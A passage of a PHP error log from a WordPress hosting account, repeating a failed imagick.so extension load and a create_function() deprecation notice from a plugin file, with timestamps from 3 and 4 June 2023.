(/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:25:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:27:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:27:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:28:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:28:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:29:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:29:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:31:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:32:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 22:34:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 22:34:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 23:34:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 23:34:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 00:35:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 00:35:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 01:36:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 01:36:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 02:36:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 02:36:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 04:37:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 04:37:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 04:58:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 04:58:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 04:58:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 04:58:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 04:59:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 04:59:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 04:59:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 04:59:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:00:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:00:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:00:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:00:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:00:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:00:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:05:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:05:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:06:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:06:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:07:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:07:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:07:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:07:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:08:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:08:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:08:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:08:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:08:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:08:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:08:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:08:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:09:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:09:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:10:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:10:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:10:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:10:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:11:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:11:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:11:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:11:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:12:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:12:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:12:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:12:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:13:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:13:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:13:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:13:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:13:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:13:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:14:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:14:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:14:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:14:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:15:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:15:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:15:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:15:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:15:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:15:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:16:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:16:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:16:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:16:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:17:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:17:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:17:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:17:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:17:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:17:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:18:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jun-2023 05:18:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [04-Jun-2023 05:18:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or 